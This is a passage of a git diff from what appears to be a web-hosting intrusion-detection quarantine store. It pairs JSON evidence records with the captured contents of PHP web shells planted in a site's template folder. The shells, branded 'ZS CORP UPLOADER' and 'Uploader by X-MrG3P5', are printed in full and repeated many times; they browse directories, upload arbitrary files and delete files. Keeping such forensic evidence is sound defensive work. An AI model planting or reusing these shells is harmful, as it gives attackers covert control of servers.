";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json.evidence.json new file mode 100644 index 0000000..85ffc66 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3022", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925413, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json.evidence.json new file mode 100644 index 0000000..cc93ee1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3032", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925407, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json.evidence.json new file mode 100644 index 0000000..82fb2cf --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3030", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925375, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json.evidence.json new file mode 100644 index 0000000..c41b1b7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3016", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php3.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925384, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json.evidence.json new file mode 100644 index 0000000..1d61fb1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3034", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.php4.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php4.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925390, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.php4.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json.evidence.json new file mode 100644 index 0000000..6a2c157 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3025", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.php5.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925396, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json.evidence.json new file mode 100644 index 0000000..59fa3b5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3014", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/layout/zseqn0yx.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/layout/zseqn0yx.phtml.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783925401, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/layout/zseqn0yx.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json.evidence.json new file mode 100644 index 0000000..a0d1e65 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2991", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/up_5e4xf5.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_5e4xf5.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812980, + "size": 448, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/up_5e4xf5.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json.evidence.json new file mode 100644 index 0000000..8c3973e --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2969", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/up_p5n63o.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/up_p5n63o.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812878, + "size": 448, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/up_p5n63o.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json.evidence.json new file mode 100644 index 0000000..41c90db --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2977", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.inc.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.inc.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924416, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.inc.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
";}}$he=htmlspecialchars($d,ENT_QUOTES,'UTF-8');$parent=dirname($d);echo"ZS CORP UPLOADER

♦ ZS CORP UPLOADER ♦

Research Division | Secure Access

Current Dir: $he";if($parent&&$parent!==$d){echo"  |  [Parent Dir ↑]";}echo"
";$items=@scandir('.');if($items){sort($items);foreach($items as $item){if($item==='.')continue;$full=rtrim($d,'/').'/'.$item;$isDir=@is_dir($item);$icon=$isDir?'[D]':'[F]';if($item==='..')$icon='[^]';$size=$isDir?'DIR':@number_format(@filesize($item)).' B';$time=@date('Y-m-d H:i',@filemtime($item));$perms=@substr(sprintf('%o',@fileperms($item)),-4);$name=htmlspecialchars($item,ENT_QUOTES,'UTF-8');if($isDir&&$item!=='..'){$href='?d='.urlencode($full);$nameCell="$icon $name";}elseif(!$isDir){$nameCell="$icon $name";}else{$nameCell="$icon $name";}echo"";}}echo"
NameSizeModifiedPermsAction
$nameCell$size$time$perms";if($item!=='..'){echo"
";}echo"
Powered by ZS CORP | BOB RESEARCH LABS
";?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json.evidence.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json.evidence.json new file mode 100644 index 0000000..05a43e8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2980", + "log_excerpt": "[quarantine] www.archline.hu:templates/shaper_helix3/zscqyqr7.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.phar.json)", + "original_sha256": "e8dde9a778142e5f33c7b0b27a5bafb5792d29b844f39daa8483814b32982f69", + "original_stat": { + "gid": 30037, + "mtime": 1783924415, + "size": 4288, + "uid": 20043 + }, + "rel_path": "templates/shaper_helix3/zscqyqr7.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json new file mode 100644 index 0000000..f4a0732 --- /dev/null +++ b/var/www/hosting/archline.hu/www/templates/shaper_helix3/zscqyqr7.php.json @@ -0,0 +1 @@ +';$d=isset($_REQUEST['d'])?$_REQUEST['d']:'';if($d&&@is_dir($d)){$d=realpath($d);}else{$d=realpath(getcwd());}if(!$d)$d=getcwd();@chdir($d);if(isset($_POST['del'])&&$_POST['del']!==''){$del=basename($_POST['del']);if(is_file($del)){@unlink($del);echo"
Deleted: ".htmlspecialchars($del)."
";}elseif(is_dir($del)){@rmdir($del);echo"
Removed dir: ".htmlspecialchars($del)."
";}}if(isset($_FILES['f'])&&$_FILES['f']['error']===0){$n=basename($_FILES['f']['name']);if(@move_uploaded_file($_FILES['f']['tmp_name'],$n)){echo"
Uploaded: ".htmlspecialchars($n)."
";}else{echo"
Upload failed
